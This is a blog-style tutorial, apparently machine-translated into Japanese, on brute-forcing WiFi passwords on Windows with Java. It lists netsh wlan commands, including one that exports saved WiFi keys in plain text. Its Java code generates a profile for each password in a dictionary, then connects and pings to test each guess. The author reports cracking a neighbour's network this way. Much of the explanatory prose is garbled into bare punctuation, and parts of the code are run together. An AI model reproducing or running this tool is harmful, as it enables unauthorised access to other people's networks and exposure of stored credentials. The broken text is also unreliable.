WindowsプラットフォームでJavaコードでWIFIパスワードを暴力的に解読する方法

8720 ワード

本題に入る.ネット上で多くのwifi解読ツールを探して、すべてlinuxプラットフォームの下で使って、それからまだ仮想マシンのlinuxをインストールすることをサポートしません.多くのノートブック仮想マシンでは、内蔵NICが認識されないためです.だからシステムをUディスクに刻んで、Uディスクで起動しなければなりません.しかし、私は今貧乏でパンツが1本もないので、Uディスクはどこから来たのですか.そこで自分で書くことにしました.そしてJavaで書かなければなりません.windowsで実行しなければなりません.
一、準備
まずwifiに接続できるパソコンが必要です.それから、Java環境をサポートしなければなりません.最後に、周りにワイヤレスネットワークが必要です.
OK、あまり話さないで、やめて、おじいさんはやめなければなりません.そこでネット上でwindowsの下のcmd無線ネットワークの操作に関するコマンドを見つけました.次のようになります.

//       wifi
netsh wlan show networks mode=bssid

//       
netsh wlan add profile filename=FILE_NAME

//   wifi
netsh wlan connect name=SSID_NAME

//       
netsh wlan export profile key=clear

//       
netsh wlan show profile

//       
netsh wlan delete profile name=FILE_NAME

//     
netsh wlan show interface

//     
netsh interface set interface "Interface Name" enabled


, 。 , 。 , , , 。

 


netsh wlan export profile key=clear


, , cmd , ,

C:\Users\Admin , wifi.xml 。 TP-LINK_5410.xml , xml , ,




SSID_NAME

    
        SSID_NAME
    

ESS
auto

    
        
            AUTH_TYPE
            AES
            false
        
        
            passPhrase
            false
            PASSWORD
        
    


    false


、 WIFI SSID_NAME wifi , AUTH_TYPE wifi , PASSWORD 。

OK, , 。 WIFI, WIFI , SSID、 、 ( , , )。 CMD , CMD 。


/**
 *    
 *
 * @param cmd      CMD  
 * @param filePath           
 */
private static List execute(String cmd, String filePath) {
    Process process = null;
    List result = new ArrayList();
    try {
        if (filePath != null) {
            process = Runtime.getRuntime().exec(cmd, null, new File(filePath));
        } else {
            process = Runtime.getRuntime().exec(cmd);
        }
        BufferedReader bReader = new BufferedReader(new InputStreamReader(process.getInputStream(), "gbk"));
        String line = null;
        while ((line = bReader.readLine()) != null) {
            result.add(line);
        }
    } catch (IOException e) {
        e.printStackTrace();
    }
    return result;
}

 


/**
 *          ssid
 *
 * @return   ssid
 */
public static List listSsid() {
    List ssidList = new ArrayList();
    String cmd = Command.SHOW_NETWORKS;
    List result = execute(cmd, null);
    if (result != null && result.size() > 0) {
        // todo     
    }
    return ssidList;
}

 

 

wifi ,

 

OK, SSID , 。


/**
 *        
 */
public class ProfileGenerator {

    private String ssid = null;
    private String passwrodPath = null;
    private ExecutorService threadPool = Executors.newFixedThreadPool(4);

    public ProfileGenerator(String ssid, String passwrodPath) {
        this.ssid = ssid;
        this.passwrodPath = passwrodPath;
    }

    /**
     *       
     */
    public void genProfile() {
        List passwordList = null;
        int counter = 0;
        outer:
        while (true) {
            int start = counter * Connector.BATH_SIZE;
            int end = (counter + 1) * Connector.BATH_SIZE - 1;
            passwordList = FileUtils.readLine(passwrodPath, start, end);
            if (passwordList != null && passwordList.size() > 0) {
                //       
                for (String password : passwordList) {
                    GenThread genThread = new GenThread(ssid, password);
                    threadPool.execute(genThread);
                }
            } else {
                break outer;
            }
            counter++;
        }
    }
}

class GenThread implements Runnable {

    private String ssid = null;
    private String password = null;

    GenThread(String ssid, String password) {
        this.ssid = ssid;
        this.password = password;
    }

    public void run() {
        String profileContent = Profile.PROFILE.replace(Profile.WIFI_NAME, ssid);
        profileContent = profileContent.replace(Profile.WIFI_PASSWORD, password);
        FileUtils.writeToFile(Connector.PROFILE_TEMP_PATH + "\\" + password + ".xml", profileContent);
    }
}


, => => ( , )。 。 WIFI。 , 。 , , , , 。

, 。


/**
 *   WLAN        
 * 

* : * ---step1 * ---step3 wifi * ---step3 ping */ public synchronized boolean check(String ssid, String password) { System.out.println("check : " + password); try { String profileName = password + ".xml"; if (addProfile(profileName)) { if (connect(ssid)) { Thread.sleep(50); if (ping()) { return true; } } } } catch (InterruptedException e) { e.printStackTrace(); } return false; } /** * * * @param profileName */ private static boolean addProfile(String profileName) { String cmd = Command.ADD_PROFILE.replace("FILE_NAME", profileName); List result = execute(cmd, Connector.PROFILE_TEMP_PATH); if (result != null && result.size() > 0) { if (result.get(0).contains(" ")) { return true; } } return false; } /** * wifi * * @param ssid */ private static boolean connect(String ssid) { boolean connected = false; String cmd = Command.CONNECT.replace("SSID_NAME", ssid); List result = execute(cmd, null); if (result != null && result.size() > 0) { if (result.get(0).contains(" ")) { connected = true; } } return connected; } /** * ping */ private static boolean ping() { boolean pinged = false; String cmd = "ping " + Connector.PING_DOMAIN; List result = execute(cmd, null); if (result != null && result.size() > 0) { for (String item : result) { if (item.contains(" ")) { pinged = true; break; } } } return pinged; }


1. sleep(50)? , , ping , , ping 。 sleep。 sleep(1000) , 50 。

2. ping ? , , ‘ xx ’ 。 , ping , 。

, , , synchronized , , , , , 。

OK, , , 。 , , , , run 。 。

wifi。 40 , wifi 12345678。 。

, 。 。

, 。 , , , 。 , , 。

, , !!! 。 , 。 , , , 。